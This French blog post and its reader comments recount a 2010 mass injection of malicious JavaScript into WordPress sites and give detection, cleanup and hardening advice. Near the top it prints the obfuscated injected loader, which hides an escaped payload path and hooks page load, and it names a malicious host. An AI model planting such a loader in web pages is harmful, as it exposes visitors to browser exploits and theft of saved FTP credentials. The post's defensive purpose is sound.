Accueil > Wordpress > WordPress: au secours, on attaque mon blog !

WordPress: au secours, on attaque mon blog !

Un des sites WordPress que je gère a été victime en mai dernier d’une attaque à grande échelle: une injection de javascript malicieux à été opérée dans certains des fichiers .php principaux, ainsi que dans la quasi-totalité des fichiers javascipt .js standards de WordPress (!).

J’ai éradiqué le code malicieux, mais je suis toujours en recherche de la faille qui a permit cette attaque.

Comme un blogueur averti en vaut deux, voici ce qui s’est passé, la façon de le détecter, et bien sûr comment dépanner la situation.

Attention ! L‘infection n’est pas terminée et concerne de nombreux hébergeurs dont 1&1, DreamHost, In2Net, Hostway, Media Temple, ServerBeachLire le détail ici.

Les symptômes : don’t panic !

Tout comme le proclame la couverture du hitchhiker’s guide to the galaxy , il faut garder son sang froid !

D’abord, on est pas tout seul. C’est arrivé à d’autres, et ça arrivera encore. C’est d’ailleurs pour ça que j’écris cet article :-)

Ensuite par ce que vous êtes prudent et que vous avez des sauvegardes récentes de votre blog, n’est-ce pas ? Allez-voir Sauvegardez votre blog dans le cloud avec Automatic WordPress Backup et Sauvegardez votre blog dans le cloud avec backupify si ce n’est pas le cas.

Coté symptômes, nous nous sommes rendus compte que quelque chose n’allait pas en utilisant le blog, soudain les pages étaient « cassées », comme s’il y avait un morceau de code défectueux : une page blanche était affichée avec un message du genre: « Syntax error in default-widget.php« .

En fait ce fichier, comme d’autres, étaient en cours de modification par le malware , en cours de propagation. Aïe.

Et puis quelques minutes plus tard, tout semblait fonctionner normalement, mais :

  • dans la barre d’état en bas du navigateur on apercevait brièvement l’accès à une page web inconnu de nous http://floridaorigin.at:8080
  • sur un ordinateur équipé d’un logiciel anti-malware du type Trend Micro ou Avast, un message d’alerte était affiché au chargement du site : Virus: JS:Illredir-AQ [Trj] (Engine B).

Si l’infection n’est pas catastrophique, il faut réagir très rapidement, car il y a risque de voir son site « back listé » et stoppé par l’hébergeur (qui entre parenthèse ne protège en rien et ne surveille pas votre site contre ce type d’attaque)

Que se passe-t-il ?

Premier réflexe, regarder le source d’une des pages du site. En quelques secondes vous pouvez vous rendre compte qu’il y a un souci, lorsque la première ligne et / ou la dernière ligne du source de la page est comme celle-ci :

<script>var i= »;var I= » »;var N_=new Date();var FH;if(FH!=’uj’ && FH!=’Wf’){FH= »};function m(){var v;if(v!=’JK’ && v!=’d’){v= »};var dK;if(dK!=’M’ && dK !=  »){dK=null};var JE;if(JE!=’tA’ && JE !=  »){JE=null};var W=unescape;var JO=new Array();var f=window;var z;if(z!=’RA’){z=’RA’};var cD= »;this.a= » »;var mS=W(« %2f%66%63%32%2d%63%6f%6d%2f%67%6f%6f%67%6c%65%2e%63%6f%6d%2f%6f%72%61%6e%67%65%2e%66%72%2e%70%68%70″);

var hV;if(hV!= »){hV=’uL’};}var SX=new String();var QQ;if(QQ!= »){QQ=’BS’};f[new String(« onlo »+ »Dswad ».substr(3))]=xP;var ob;if(ob!= » && ob!=’At’){ob=null};var UX=new String();var fc;if(fc!=’ev’){fc= »};};var gR=new Date();var JB;if(JB!= » && JB!=’kL’){JB= »};m();var Hj=new Date(); </script>
<!–aa4cae338512cc086f9374f435fd893e–>

Ce code est la source du problème et il est présent… sur toutes les pages et les articles, y compris dans la partie administration.

La correction du problème

Avant de faire quoi que ce soit, mettez votre site offline pour éviter toute éventuelle propagation.

Pour cela utilisez soit un plugin comme wartungmodus, soit placez manuellement un fichier .maintenance à la racine de votre installation WordPress et mettre le code ci-dessous dans le fichier :

<?php $upgrading = time(); ?>

Récupérez ensuite le site par votre client FTP, ainsi qu’un export de la base de données.

Vérifiez que les fichiers suivants ont été infectés : vous trouverez en fin de ces fichiers le code injecté.

  • /index.php
  • /wp-includes/default-widgets.php
  • /wp-includes/default-filters.php
  • /wp-includes/default-embeds.php
  • /wp-includes/js/*.js
  • /wp-admin/index.php
  • /wp-admin/index-extra.php
  • /wp-admin/js/*.js

Plutôt que de modifier tous ces fichiers manuellement, je vous conseille de les remplacer; pour cela  il suffit alors de réinstaller la dernière version de WordPress en écrasant les fichiers existants.

Dans le répertoire /wp-admin/js/ l’infection à également ajouté un fichier user.js qui ne fait pas partie de l’installation de Worpdress. Il faut le supprimer.

Vérifiez également dans le fichier export de la base de données qu’il n’y a pas d’occurence du code malicieux. Ce n’était pas le cas, mais on est jamais trop prudent.

La prévention

Afin de surveiller toute modification suspecte de votre site, je vous conseille Sucuri.net . Ce service va surveiller votre site régulièrement et en cas de changement de son contenu, et particulièrement des javascripts chargés par les pages, il va vous envoyer un DM via twitter ou un email.

Sucuri.net va également soumettre votre site  aux outils suivants afin de vérifier s’il n’est pas passé en « black list » pour comportement suspicieux :

Techjaws.com propose également d’utiliser deux plugins pour renforcer la sécurité de votre blog, auquel j’ai ajouté un troisième :

  • Antivirus : scanne quotidiennement le thème et les fichiers javascripts inclus,
  • Lockdown : stoppe l’accès au site en cas de tentatives connexions intempestives – attaque par force brute.
  • Worpdress File Monitor : scanne (hash ou date) régulièrement les répertoires de votre choix afin de détecter des changements.

Coté WordPress, il va falloir analyser la situation du site pour trouver la faille. A priori il y a quelques possibilités de failles comme :

  • une mauvaise protection de l’installation WordPress (permissions de fichiers, .htaccess manquant, version de Worpress visible, compte admnistrateur « admin », mot de passe complexe…)
  • des plugins tiers utilisés,
  • le thème utilisé,
  • un trojan sur le poste de travail de l’administrateur du site, qui se connecte avec les informations du client ftp pour infecter vos sites.
  • une installation web mal sécurisée de votre prestataire hébergeur (voir l’article de Matt à ce sujet, en réponse à Network Solutions)

Mise à jour 22 septembre: Je viens de recevoir un message de www.sitesecuritymonitor.com qui m’informe que c’est reparti pour un tour…

Wanted to let you know urgently that reports are floating around that GoDaddy webhosts are once again malware infected.  This is the 6th time (at least) by our count that there has been public reports of separate instances of infection!

Apparently GoDaddy support is recommending rotating passwords (not quite sure what thats going to do when the infection is from the ‘inside’), however, we do recommend that if you haven’t already gotten a free scan, please do so immediately.  If you have, please do consider subscribing for the regular scanning package – this way you’ll be told by our systems – instead of Google about the infection :(

Mise à jour 27 mai:http://blog.scansafe.com informe que l’infection n’est pas terminée et concerne de nombreux hébergeurs, dont 1&1, DreamHost, In2Net, Hostway, Media Temple, ServerBeach. L’article détaille le type d’attaque qui en résulte.

The two main attacks are: (1) the Google / WordPress pharma attacks and (2) the Grepad.com family of attacks that netted Network Solutions hosted sites, some U.S. Treasury sites, and many, many popular niche ‘mom and pop’ style sites.

Mise à jour 21 avril: Sucur.it nous livre l’explication en ce qui concerne les site WordPress installé chez Network Solutions.

  1. WordPress stores the database credentials in plain-text at the wp-config.php file.
  2. This configuration file should only be read by Apache, but some users (well, lots of users) left it in a way that anyone could read it (755 instead of 750 in Linux slang).
  3. A malicious user at Network Solutions creates a script to find those configuration files that were incorrectly configured.
  4. This same malicious user finds hundreds of configuration files with the incorrect permissions and retrieves the database credentials
  5. Yes, he again (the bad guy) launches an attack and modify the database for all these blogs. Now the siteurl for all of them just became networkads.net/grep. Easy hack.

Mise à jour 19 avril: J’ai trouvé une explication plausible sur le site de Rob McGuire qui renforce le scénario de l’attaque via FTP.

The hosting company which manages the server employed in this attack responded with the following:

In reviewing the server’s configuration it was discovered that “Allow FTP logins to all accounts using the root password” was enabled in the server’s WHM configuration. The attacker appears to have compromised the server’s root password. The root password has been changed.

All accounts were affected by a malicious script insertion attack. An attacker was able to upload a malicious PHP file via FTP. This file was then executed and used to insert the malicious script into each site on the server.

The “Allow FTP logins to all accounts using the root password” setting has been disabled and the removal of the script from all accounts on the server has been completed.

What the script does:

This script executes a malicious javascript package hosted on a remote server in the context of the user’s browser. This script is designed to run browser exploits against outdated web browsers with known vulnerabilities. Thus anyone who visited any of the infected sites with an out of date browser, may have had malware/viruses installed on their local computer. Once a local computer is compromised, the malware will begin searching the local computer’s hard drive for saved passwords so that it can repeat the process by uploading itself to other FTP accounts.

Références

  • Un peu d’explication sur le contenu du malware chez Pastebin
  • Le blog de Zyen qui à eu exactement la même désagréable expérience, beaucoup de commentaires d’autres victimes et des conseils.
  • Un sujet sur le forum Avast à propos d’un malware très similaire à celui-ci.
  • Kristi Hines a également publié un article très détaillé sur l’attaque de son blog WordPress .
  • Un billet de Matt en réaction à Network Solutions qui avait laissé entendre que WordPress était la source de l’attaque:
  • Un article de  Rob McGuire qui renforce le scénario de l’attaque par FTP.
  • Deux autres articles intéressants sur ce même problème de hacking, qui semblent focaliser sur une faille de sécurité chez deux prestataires,  Network Services et Godaddywpblogger.com et sucur.it.
  1. 17/04/2010 à 12:13 | #1

    Sur tous mes sites, j’ai eu le même souci que toi.
    Et pour l’instant, je ne sais toujours pas comment il a réussi à arriver…???

  2. 18/04/2010 à 15:21 | #2

    On pourrait comparer comparer nos plugins et thèmes utilisés. Mon thème est iNove et les plugins en ligne sont affichés dans la page de contact : http://fanta78.lasnespace.com/contact/
    A-t-on quelque chose en commun ?

  3. 18/04/2010 à 17:12 | #3

    Oui mais le truc c’est que sur mon FTP OVH, je suis avec un pote. Et nous avons une quinzaine de sites qui y sont hébergés en tout. Et ils étaient tous infectés!!! Donc je ne sais pas si cela vient des plugin ou thèmes. Car les thèmes sont pour la plupart différents (même s’ils sont tous sous wp), et les plugins la plupart du temps ne sont pas les même.
    Moi je pencherais plus sur une faille du ftp. Non, tu en penses quoi?

  4. 18/04/2010 à 20:49 | #4

    Coté FTP, les infos que l’on trouve sur ce problème disent : ne pas enregistrer les mots de passe ftp dans les logiciel clients, les changer après ce type d’attaque, et ne pas utiliser TotalComander comme logiciel ftp. Mais tu as probablement raison coté attaque ftp.
    De mon coté nous sommes deux à accéder au site attaqué, et coïncidence (?) la machine de mon collègue à crashé – du genre définitif – le jour de l’attaque.
    Mon poste quand à moi est protégé par Norton+Malwarebytes, donc je ne devrais pas être la source du hack.

  5. 19/04/2010 à 10:51 | #5

    Oui c’est ça pour le FTP.
    Maintenant c’est bizarre pour le crash de ton collègue.
    Car nous le jour où c’est arrivé (le vendredi 9 avril), aucun de nous n’avait été sur un de nos sites et notamment sur le FTP.

  6. 19/04/2010 à 11:10 | #6

    Il y a une autre piste, dont parle Matt sur le blog de WordPress : une installation web mal sécurisée de notre prestataire hébergeur http://wordpress.org/development/2010/04/file-permissions/
    Là ça se complique, comment vérifier ce point auprès de l’hébergeur ?

  7. 19/04/2010 à 11:39 | #7

    oui pas évident.
    Moi j’avais envoyé un message à OVH, mais aucun retour… :(

  8. 19/04/2010 à 12:56 | #8

    Le blog attaqué est lui chez Amen.fr – à suivre. En attendant, je surveille le site avec http://sucuri.net/index.php?page=nbi et j’ai ajouté le plugin Antivirus http://wordpress.org/extend/plugins/antivirus/

  9. 20/04/2010 à 10:57 | #9

    Tout pareil :)
    On va voir ce que ça donne maintenant …

  10. 21/04/2010 à 11:50 | #10

    J’ai mis à jour l’article, il y a maintenant une certitude sur l’attaque d’il y a quelques jours, qui a injecté dans la base de données un code malicieux sur des sites hébergés chez Godaddy et Network Solutions.
    http://blog.sucuri.net/2010/04/details-on-network-solutions-wordpress.html

    Notre attaque à probablement été réalisée de la même manière. J’ai ajouté un autre plugin qui me semble bien : WordPress File Monitor. Pas la peine de tout surveiller (charge mémoire), mais les répertoires principaux de Worpdress.

  11. 22/04/2010 à 12:22 | #11

    Ok merci pour les infos.
    Maintenant depuis hier soir, j’ai installé WordPress File Monitor, mais je ne comprends pas bien comment le configurer et surtout ce que veulent dire les résultats qu’il m’envoit. Sont-ils bons ou mauvais? Pas évident de savoir??? :(

  12. 22/04/2010 à 13:49 | #12

    J’ai installé et paramétré le plugin, puis j’ai lancé une analyse manuelle : elle m’en envoyé en retour la liste de tous les fichiers, ça m’a semblé normal pour la 1ère analyse.

    En lancant ensuite une seconde analyse, il n’envoit plus de message, ce qui me semble aussi correct.

    Mais je viens de faire un test complémentaire : ajout d’un faut fichier /wp-includes/fake.js et modification d’un vrai /wp-includes/autosave.js. Le scan… ne donne rien !

    Je creuse…

  13. 22/04/2010 à 13:56 | #13

    Moi il me mets à chaque fois les fichiers cache du site sous wordpress et du forum sous phpbb (qui sont sur le même ftp), et d’autres sites quelques fois.
    Mais à chaque analyse, j’ai des fichiers. :(

  14. 22/04/2010 à 13:59 | #14

    Sur un autre blog, autre hébergeur, ca marche :)

    This email is to alert you of the following changes to the file system of your website at http://www.xxxxxxx.com
    Timestamp: Thu, 22 Apr 2010 11:50:22 +0000
    Added:
    wp-includes/fake.js

    Si tu as un/des répertoires de cache, il faut les exclure de l’analyse. Ca marche sur un autre site WordPress avec wp-content/cache en paramètre.

    Mais sur mon blog, pour l’instant, nada !

  15. 23/04/2010 à 13:36 | #15

    WordPress File Monitor fonctionne enfin sur mon site, mais j’ai dû pour cela :
    1) désactiver l’extension,
    2) supprimer manuellement dans la base de données les trois options suivantes dans la table wp_options : ‘wpfm_options’, ‘wpfm_listing’ et ‘wpfm_previousScan’.
    3) activer l’extension et refaire le paramétrage.

    J’ai ajouté deux fichiers fake.js, et 10 minutes plus tard j’ai bien reçu l’alerte. Cela a aussi crée deux nouvelles options dans la table : ‘wpfm_alert’ et ‘wpfm_alertDesc’. Idem lorsque j’ai supprimé ces deux fichiers.

  16. BFLV
    08/05/2010 à 14:24 | #16

    Bonjour,

    dans ma base de donné je n’ai pas trouvé ces fichiers : Le asterix correspond à quoi ?

    Merci

    Vérifiez que les fichiers suivants ont été infectés : vous trouverez en fin de ces fichiers le code injecté.

    * /wp-includes/js/*.js
    * /wp-admin/js/*.js

  17. 08/05/2010 à 17:25 | #17

    J’ai utilisé le vilain jargon informatique, désolé :) En fait * = tous les fichiers, quel que soit le nom. Dans le cas de l’attaque, ce sont donc tous les fichiers dont l’extension est .js qui on été affectés, dans les sous-répertoires nommés /js/ dans Wp-Includes et Wp-admin
    Par exemple :
    /wp-admin/js/cat.js
    /wp-admin/js/categories.js
    /wp-admin/js/comment.js

  18. BFLV
    08/05/2010 à 18:00 | #18

    Merci du coup de main ;)

  19. tiry
    20/05/2010 à 15:11 | #19

    je viens d’être victime de la même attaque, j’ai tout reinstallé mais je crains de nouveau la même attaque. Sais tu qu’elle est la faille qui permet l’installation de ce code ?

  20. 20/05/2010 à 15:34 | #20

    Je n’ai pas determine la source precise, cependant les attaques similaires (et nombreuses) relevees sur des sites heberges chez godaddy.com ont eu pour source une faille chez l’hebergeur.

    Je te conseille, maintenant que tu es sur une installation propre, de renforcer la securite et de mettre en place la supervision de ton site – j’ai fais 3 articles a ce sujet ;)

  21. tiry
    20/05/2010 à 17:50 | #21

    moi je suis chez OVH, je vais mettre un max de protections même si je ne comprend pas tout, je ne connais pas du tout le php. merci pour tes conseils.

  22. 20/05/2010 à 18:14 | #22

    Idem pour ce blog (pas de souci) mais j’ai eu le problème sur Amen. Pour protéger ton site, regarde ces trois articles :
    Renforcer la sécurité de WordPress: l’installation (#1)
    Renforcer la sécurité de WordPress: l’administration (#2)
    Renforcer la sécurité de WordPress: la supervision (#3)

  23. tiry
    24/05/2010 à 22:27 | #23

    connait on les conséquences de ce code sur les pages ? est ce que cela infecte les ordis visiteurs ? est ce que cela récupère de l’info ?

  24. 26/05/2010 à 13:26 | #24

    Aux dernières nouvelles, ce « hack » s’installe depuis le site infecté sur le navigateur du visiteur, si la version du navigateur est « ancienne » et comporte des failles.
    Une fois sur la machine d’un visiteur, le « malware » scanne le disuqe dur infecté à la recherche de login/mot de passe ftp sauvegardés, pour pouvoir ensuite se reproduire sur d’autres sites via cette machine.
    Ca fout la trouille rien que d’y penser…

  25. 27/05/2010 à 16:17 | #25

    J’ai mis à jour l’article, j’ai trouvé de l’information fraîche concernant cette attaque, qui ne semble pas finie.

    http://blog.scansafe.com/

  26. 27/05/2010 à 23:19 | #26

    Salut,

    J’ai connu ( et je connais encore ) ce type d’attaque sur mes sites wordpress. Cela a commencé il y a environ 3 semaines, un site où je boss a été infecté par ce type d’attaque, deux jours après, c’est au tour de mes 3 sites de se faire bombarder de code malicieux. Après un nettoyage de tout mes fichiers, c’est au tour de mon ordi de se faire attaquer ! En effet, suite à cette attaque, en me rendant sur mon site un virus s’est foutu dans un fichier système de windows pour faire monter mon CPU à 100% et m’installer un malware et pas moyen de l’enlever à part en formatant le disque dur … Bref, après la réinstallation de XP et le nettoyage du serveur, quelques jours après mes sites se retrouvent dans la même galère mais la, le soucis est réglé en 5 minutes le temps de reup le backup clean de la semaine précédente … Pour le moment j’ai changé de logiciel FTP pour un qui encrypte les mots de passe car Filezilla les stockés dans un fichier texte donc bien évidemment à la merci de tous et j’ai aussi installé un bout de code contre ses requêtes malveillantes …
    Si je subit encore ça d’ici quelques jours, je change mes MDP et fait mumuse de long en large avec le .HTACCESS ;)

    Ha et aussi mon hébergeur n’est pas sur la liste mais bon le voici : Mavenhosting

    Byye

  27. 28/05/2010 à 13:45 | #27

    @psp quelle misère ! tu as vraiment eu le cas le plus extrême… j’ai installé des plugins et des htaccess, et je croise les doigts.

    Le site était chez AMEN.

    Bon courage !

  28. kiamaru
    12/06/2010 à 05:58 | #28

    oh bordel, ça m’ai arrivé il y’a 3 semaines et aujourd’hui rebelotte. tous mes sites sont touchés du wordpress mais aussi des sites e-commerce sous prestashop et 2 sites sur mesures..comment faire?

    sur un de mes blogs, j’ai plus de 700 go dans un dossier « files »

    question, es-ce que ce malware touche les fichiers images tels que .gij et .jpeg ainsi que les bases de données?

  29. 12/06/2010 à 10:57 | #29

    @kiamaru
    A priori tu es tranquille pour les fichiers images ainsi que pour la base de données. Ce ne sont « que » les fichiers javascript .js ainsi que des fichiers .php qui sont modifiés.

    Tous tes sites sont sur le même hébergeur ?

    Première chose à faire : garder son sang froid!

    Vérifie les dernières sauvegardes que tu as et tiens les prêtes.

    Mets le/les sites hors ligne si tu peux.

    Pour analyser l’étendue du problème, je te conseille de télécharger localement l’ensemble d’un site (sauf les Go d’images), et de rechercher dans l’ensemble des fichiers les occurrences d’un morceau typique du code malicieux (genre var i= »;var I= » »;var N_=new Date()), à l’aide d’un éditeur de texte comme Ultraedit.

    Ca te donnera une idée précise des dégâts. Tu peux ensuite supprimer dans chacun de ces fichiers les lignes de code malicieux – à nouveau Ultraedit est ton ami, remplace la chaine de caractères par «  ».

    Une fois les fichiers nettoyés, tu peux soit faire un essai off-line sur un autre site, soit directement renvoyer sur ton hébergeur les fichiers nettoyés. Recharge ensuite le site et vérifie dans le code source des pages que ton site est propre.

    Je viens de regarder ton site principal sur villageafro.com, il est effectivement infecté par une saloperie. Voici ce que m’en dit mon antivirus :
    La saleté

    Bon courage !

  30. 12/06/2010 à 11:36 | #30

    @kiamaru
    En complement, passe l’url de ton site dans http://sucuri.net/index.php?page=scan2 qui va l’analyser.

    Ca te donnera une vue résumée des javascripts connectés à la page principale, et un « dump » de tous les scripts chargés. A toi d’y trouver l’intrus :)

    Ce qui m’étonne, c’est que ni http://sucuri.net/ ni http://safeweb.norton.com/ ne voit de problème sur le site. Mais il y en a bien un puisque l’antivirus local l’intercepte…

  31. 22/09/2010 à 08:50 | #31

    Attention ! L’infection de WordPress reprend de plus belle chez GoDaddy, je viens de recevoir un mail d’alerte de http://www.sitesecuritymonitor.com .

  32. gh2b
    14/10/2012 à 20:51 | #32

    Bonjour,

    j’ai suivi avec attention ce post et les commentaires… mais voilà, en suivant tes instructions (création d’un fichier .maintenance…) que j’ai placé à la racine de mon wp, pour aller sur mon admin (en local), un message m’indique que l’accès est en maintenance (cqfd…) mais du coup… ba je ne peux pas installer les antivirus sur mon pack avant de le migrer sur ovh via ftp…
    problème .maintenance est un fichier systeme et mon ordi ne me le montre pas (mac)… impossible de mettre la main dessus :$
    Peuw-tu m’éclarer ? je suis pas super doué en php…
    merci de ton aide !!

  33. 15/10/2012 à 09:30 | #33

    Le fichier .maintenance n’est qu’un simple fichier texte que tu as créé, tu ne devrais pas avoir de difficulté à le voir et à le supprimer à la racine du site local.
    Pour pouvoir utiliser le site en temps qu’administrateur mais en bloquer l’access au reste du monde, utilise le plug-in wartungmodus. une fois activé, tu auras une belle page d’indisponibilité et un accès restreint.

  1. Pas encore de trackbacks